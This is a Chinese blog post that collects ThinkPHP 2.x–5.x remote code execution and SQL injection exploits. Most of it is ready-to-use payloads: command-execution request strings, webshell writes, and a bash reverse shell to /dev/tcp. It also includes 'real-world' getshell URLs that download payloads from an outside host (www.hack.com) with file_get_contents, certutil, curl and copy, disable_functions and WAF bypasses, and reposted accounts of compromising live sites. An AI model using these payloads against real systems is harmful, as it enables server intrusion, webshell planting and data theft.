Loading

thinkphp漏洞复现

0x00:总述

在版本小于5.0.13,不开启debug的情况下 会通过变量覆盖修改$request类的变量的值通过bindParams中的param函数进行任意函数调用

_method=__construct&method=get&filter=system&s=whoami

在版本小于5.0.13,开启debug的情况下会执行命令两次 一次在bindParams的param 一次在run()中的param函数

_method=__construct&method=get&filter=system&s=whoami

在版本大于5.0.13小于5.0.21情况下,开启debug的情况下,在run()中的param函数执行命令

_method=__construct&method=get&filter=system&s=whoami

在版本大于5.0.13小于5.0.21情况下,不开启debug的下需要完整版thinkphp,在method分支下param函数rce

POST /index.php?s=captcha
_method=__construct&method=get&filter=system&s=whoami

在大于5.0.21小于等于5.0.23的情况下,由于修改了method函数的逻辑,无法随意用变量,这里统一用只能用get[],route[]。
完整版ThinkPHP如下

POST /index.php?s=captcha
_method=__construct&method=get&filter=system&get[]=whoami
_method=__construct&method=get&filter=system&route[]=whoami

开启debug如下

_method=construct&method=get&filter=system&route[]=whoami

在5.0.24的时候由于限制了表单请求伪装传入的参数,传入的参数只能为限定的参数,无法进行request类下任意函数调用

0x01:ThinkPHP 2.x和3.0 任意代码执行漏洞

使用preg_replace的/e模式匹配路由,导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

影响版本

Thinkphp 2.x, ThinkPHP 3.0版本(Lite模式)

漏洞复现

image-20210729123530053

payload:

http://172.22.0.1:8080//index.php?s=/index/index/name/${phpinfo()}
http://172.22.0.1:8080//index.php?s=/a/b/c/${phpinfo()}

image-20210729124415633

写入Webshell

http://172.22.0.1:8080/index.php?s=a/b/c/${@print(eval($_POST[shell]))}

image-20210729124719782

调用Webshell

image-20210729124841978

蚁剑连接

image-20210729132136319

反弹shell

bash -i >& /dev/tcp/192.168.88.133/4444 0>&1

0x02:ThinkPHP5.0.0- 5.0.23 远程代码执行漏洞

​ 5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

影响版本

Thinkphp 5.0.0~ 5.0.23

漏洞复现

http://192.168.88.133:8080/?s=captcha
POST提交:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

image-20210729133336991

打算写入一句话木马,发现$_POST被过滤掉了,经过测试,只要检测到$_这样的字符串,其后面的字符会被过滤掉一部分,其实只要在$符号前用\转义就行

image-20210729134909356

尝试base64编码写入,完整的webshell

image-20210729140000821

http://192.168.88.133:8080/?s=captcha
POST提交:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pgo= | base64 -d >shell.php

image-20210729141939649

蚁剑连接

image-20210729141719418

0x03:ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞

ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

影响版本

ThinkPHP5 5.0.22/5.1.29

漏洞复现

image-20210729142827682

payload:

http://192.168.88.133:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

image-20210729143015496

payload

http://192.168.88.133:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=id

http://192.168.88.133:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

image-20210729143148073

同样的利用base64编码写入webshell

http://192.168.88.133:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo -n PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pgo= | base64 -d >shell.php

成功写入

image-20210729143519818

getshell

image-20210729143610022

0x04:ThinkPHP5 SQL注入漏洞 && 敏感信息泄露

影响版本

ThinkPHP < 5.1.23

payload

http://your-ip/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

信息成功被爆出:

img

通过DEBUG页面,我们找到了数据库的账号、密码:

img

这又属于一个敏感信息泄露漏洞。不允许子查询的SQL注入点

0x05:ThinkPHP5.x.x各版本实战环境getshell

-5.1.18

http://www.xxxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index_bak2.php',file_get_contents('https://www.hack.com/xxx.js'));?>

-5.0.5

waf对eval进行了拦截禁止了assert函数对eval函数后面的括号进行了正则过滤对file_get_contents函数后面的括号进行了正则过滤
http://www.xxxx.com/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=2.php&vars[1][1]=<?php /*1111*//***/file_put_contents/*1**/(/***/'index11.php'/**/,file_get_contents(/**/'https://www.hack.com/xxx.js'))/**/;/**/?>

-5.1.18

所有目录都无写权限,base64函数被拦截
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_POST[1])

-5.0.18

windowshttp://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=1
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo()
使用certutilhttp://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=passthru&vars[1][0]=cmd /c certutil -urlcache -split -f https://www.hack.com/xxx.js uploads/1.php由于根目录没写权限,所以写到uploads

-5.0.14

eval('')和assert('')被拦截,命令函数被禁止
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo();
http://www.xxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_GET[1])&1=call_user_func_array("file_put_contents",array("3.php",file_get_contents("https://www.hack.com/xxx.js")));

-5.0.11

http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=curl https://www.hack.com/xxx.js -o ./upload/xxx.php

-5.0.14

php7.2http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=1.txt&vars[1][1]=1
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index111.php',file_get_contents('https://www.hack.com/xxx.js'));?>写进去发现转义了尖括号
通过copy函数http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=copy&vars[1][0]= https://www.hack.com/xxx.js&vars[1][1]=112233.php

0x06:实战文章

第一篇:https://mp.weixin.qq.com/s/itfVog0HMNf5CizM7-QF5w

发现某站部署Thinkphp v5系统,并且在系统配置中是默认配置的debug模式:

图片

在debug状态下,我们知道网站的绝对路径,并且ThinkPHP版本号为V5.0.x,由于开启debug状态,构造相应payload进行探测

POST:_method=__construct&filter[]=system&get[]=whoami

发现php配置文件中应该设置了disabled_function:

图片

我们知道在phpinfo()中即使加入参数,也不影响其执行,因此

call_user_func('phpinfo()','1')

同样能够执行

先看一波phpinfo看看禁用哪些函数,发现还设置了open_basedir

图片

图片

passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru

把最为常用的函数禁用了,当该PHP版本低于7.2,因此assert这个关键的函数并没有过滤,也就意味着我们能先使用assert来做一些操作,本来是直接构造

POST:_method=__construct&filter[]=assert&get[]=assert($_POST[1]);

然后用antsword连上就好,但是发现并不能成功连接,原因可能是antsword和菜刀仅支持eval后门,可能现在就需要换一换思路:

在默认配置中,file_get_contents可以读取URL内容并进行输出,并且file_get_contents是不会被ban的,这里先验证一下:

POST:_method=__construct&filter[]=assert&get[]=assert($_POST[1]);&1=print(file_get_contents("./index.php"));

图片

因此直接结合网站绝对路径,我们知道在public是面向用户的,我们可以利用file_get_contents读取马后使用file_put_contents写入到public目录下,这样就能够一句话进行连接

_method=__construct&filter[]=assert&get[]=$a=(file_get_contents("http://马的地址"));$b=file_put_contents('网站根目录/public/xxx.php',$a);

最终getshell

图片

可见如果目前还在使用Thinkphp5.0版本是十分危险的,应该及时更新版本或者相应打上补丁

第二篇 :https://mp.weixin.qq.com/s/U_9vzqD0YTm9U-eA-XVngg

项目里遇到一个站,用的是ThinkPHP V5.0.*框架,且开启了debug模式,本以为一发payload的就能解决的事情,没想到拿下的过程还得小绕一下...

  1. 尝试命令执行,system被限制了

图片

  1. 尝试包含日志文件,open_basedir限制了

图片

  1. 这里有个思路,可以去包含runtime下的日志文件,但是thinkphp的日志文件比较大,而且有时候会有很多奇怪的问题阻断代码执行,暂且作为备选方案

图片

  1. 尝试通过thinkphp本身Library中设置Session的方法把脚本写入tmp目录里的Session文件,然后进行包含
_method=__construct&filter[]=think\Session::set&method=get&server[REQUEST_METHOD]=<? phpinfo();?>

但是。。。

图片

俗话说,三个臭皮匠顶一个诸葛亮,求助师傅们后,给出了解决的办法

  1. Noel 师傅和HTF师傅的解决方法及分析:

图片

Request.php的filtervalue函数下存在call_user_func,根据Payload,跟踪下流程

首先会进入App.php的Run方法

public static function run(Request $request = null){        ………………………………
        // 未设置调度信息则进行 URL 路由检测
        if (empty($dispatch)) {            /*执行当前类的routeCheck方法,获取调度信息,如访问index模块下index控制器里的index方法,则
                $dispatch = array(2) { ["type"]=> string(6) "module"
                    ["module"]=> array(3) {
                        [0]=> string(5) "index" [1]=> string(5) "index" [2]=> string(5) "index" } }
                */
            $dispatch = self::routeCheck($request, $config);
        }        // 记录当前调度信息 将获取的调度信息,即模块,控制器,方法名存入Request类的dispatch属性中
        $request->dispatch($dispatch);        // 记录路由和请求信息 调式模式,在\application\config.php 参数app_debug可配置
        if (self::$debug) {
            Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
            Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
            Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
        }        ………………………………}

这里我们主要关注routeCheck和param两个函数,先看routeCheck

public static function routeCheck($request, array $config)
    {
        $path   = $request->path();
        $depr   = $config['pathinfo_depr'];
        $result = false;      ………………………………
        // 路由检测(根据路由定义返回不同的URL调度)
        $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);

主要是将请求参数什么的传入,经过check后就基本上都处理好了

图片

在调试模式开启的情况下可以进入param函数

if (empty($this->param)) {
            $method = $this->method(true);
    ......        $this->param = array_merge($this->get(false), $vars, $this->route(false));
}return $this->input($this->param, $name, $default, $filter);    

跟进input函数

    public function input($data = [], $name = '', $default = null, $filter = '')
    {

		......
        $filter = $this->getFilter($filter, $default);        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            reset($data);
        } else {            $this->filterValue($data, $name, $filter);
        }

getFilter取出filter的值,在这里也就是assert

array_walk_recursive

array_walk_recursive() 函数对数组中的每个元素应用用户自定义函数。在函数中,数组的键名和键值是参数。该函数与 array_walk() 函数的不同在于可以操作更深的数组(一个数组中包含另一个数组)。

及对$data的每一个元素应用filterValue函数,跟进filterValue

function filterValue(&$value, $key, $filters){
 ......  
if (is_callable($filter)) {                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);
            }
......
}
  1. 铳梦师傅和HTF师傅的解决方法及分析:

payload参考:

来自:https://xz.aliyun.com/t/3570#toc-4

http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

执行phpinfo(这里注意看 ?s= 后的参数)

https://127.0.0.1/?s=../\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

拿shell

https://127.0.0.1/?s=../\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy('http://127.0.0.1/shell.txt','test.php')

为什么要这么构造呢,给出当前的目录情况以及分析:

图片

Route.php的parseUrl函数会对url进行处理

private static function parseUrl($url, $depr = '/', $autoSearch = false)
    {
        .......
        $url              = str_replace($depr, '|', $url);        list($path, $var) = self::parseUrlPath($url);
    ......
    }

首先将url中的/替换为|之后是parseUrlPath将url分割

   private static function parseUrlPath($url)
    {        // 分隔符替换 确保路由定义使用统一的分隔符
        $url = str_replace('|', '/', $url);
        $url = trim($url, '/');
        $var = [];        if (false !== strpos($url, '?')) {
 			......
            ......
        } elseif (strpos($url, '/')) {            // [模块/控制器/操作]
            $path = explode('/', $url);
        } else {
            ......
        }        return [$path, $var];
    }

得到如下三部分

图片

模块加载时Loder.php下的parseName函数

    public static function parseName($name, $type = 0, $ucfirst = true)
    {        if ($type) {
            $name = preg_replace_callback('/_([a-zA-Z])/', function ($match) {                return strtoupper($match[1]);
            }, $name);            return $ucfirst ? ucfirst($name) : lcfirst($name);
        } else {            return strtolower(trim(preg_replace("/[A-Z]/", "_\\0", $name), "_"));
        }
    }

图片

现在就会实例化\Think\app类并执行invokefunction方法

图片

所以加../\的原因是可以再往前跳一层

查看禁用

图片

  1. 一开始没仔细看禁用的内容,直接就用了这个

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

但是发现putenv被禁用了

图片

  1. 换个方法,通过这篇文章

https://mochazz.github.io/2018/09/27/渗透测试之绕过PHP的disable_functions/

了解到利用pcntl扩展,确认系统支持

图片

最终成功执行命令

图片

第三篇 :https://mp.weixin.qq.com/s/-EgERP46Xf73MYEqFiXKEw

0x01 初探
打开这个站,debug开了 还是tp5.1.29 用IP去访问显示lnmp搭建,disable_function只禁用了几个函数

图片

先用tp5.1X通杀版本payload打试试,payload 执行成功

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

图片

使用file_get_contents去getshell,意料之中根目录没有写入权限

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=test1.txt&vars[1][]=%3C?php%20phpinfo();?%3E

图片
因为开了debug,有文件路径然后想着一顿操作找路径去写webshell,但是太浪费时间。/tmp目录一般都会有写入权限,如果能写进去 可以进行包含的话就可以进一步操作。包含使用“think__include_file”方法去包含,先试试能否进行包含

先写入一个PHPinfo文件到tmp目录:

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=/tmp/test1.txt&vars[1][]=%3C?php%20phpinfo();?%3E

图片

再去包含它:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=think\__include_file&vars[1][]=/tmp/test1.txt

图片

上图包含在/tmp目录下创建的phpinfo执行成功,前面PHPinfo获取到的"disable_function,“popen" 没有被禁用,就用他来执行一个命令。

执行

"ls -la /home/wwwroot/xxxxxx/public/"

探测web路径下有写入权限的目录, "popen" 执行命令

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=/tmp/test1.txt&vars[1][]=<?php $fd = popen("command",'r'); $ret = fgets($fd);$fd = popen("ls -la /home/wwwroot/XXXXXXXXXX/test/public >/tmp/test1.txt", 'r');pclose($fd);print(fgets(fopen("/tmp/test1.txt",'r')));$fd=popen("whoami",'r');while($s=fgets($fd)){print_r($s);}

返回的长度为249:

图片

包含"/tmp/test1.txt"使其执行

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=think\__include_file&vars[1][]=/tmp/test1.txt

执行成功,返回结果权限是"www", ls命令的回显可能没来得及print,使用“readfile”函数去读取"/tmp/test1.txt"即可,"include_file"方法改为"readfile"

图片

图片
成功读取,仅有"static"目录具有权限,到这里就没什么难度了,再用"file_put_contents" 把shell写到static目录即可

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=/home/wwwroot/XXXXXXXXX/test/public/x.php&vars[1][]=phpshellXXXXXXXXXXXX

行云流水 getshell, 打赏了一包华子收工。

图片
thinkPHP5 RCE漏洞这么多,多走几步路就好了

参考链接:

https://www.mimanchi.online/index.php/archives/12/

0x07:GitHub项目

thinkphp v5.x 远程代码执行漏洞-POC集合 https://github.com/Hel10-Web/thinkphp-RCE-POC-Collection

thinkphp反序列化漏洞复现及POC编写 https://github.com/Dido1960/thinkphp

关于ThinkPHP框架的历史漏洞分析集合 https://github.com/Mochazz/ThinkPHP-Vuln

posted @ 2021-12-30 13:23  Hel10  阅读(3289)  评论(0编辑  收藏  举报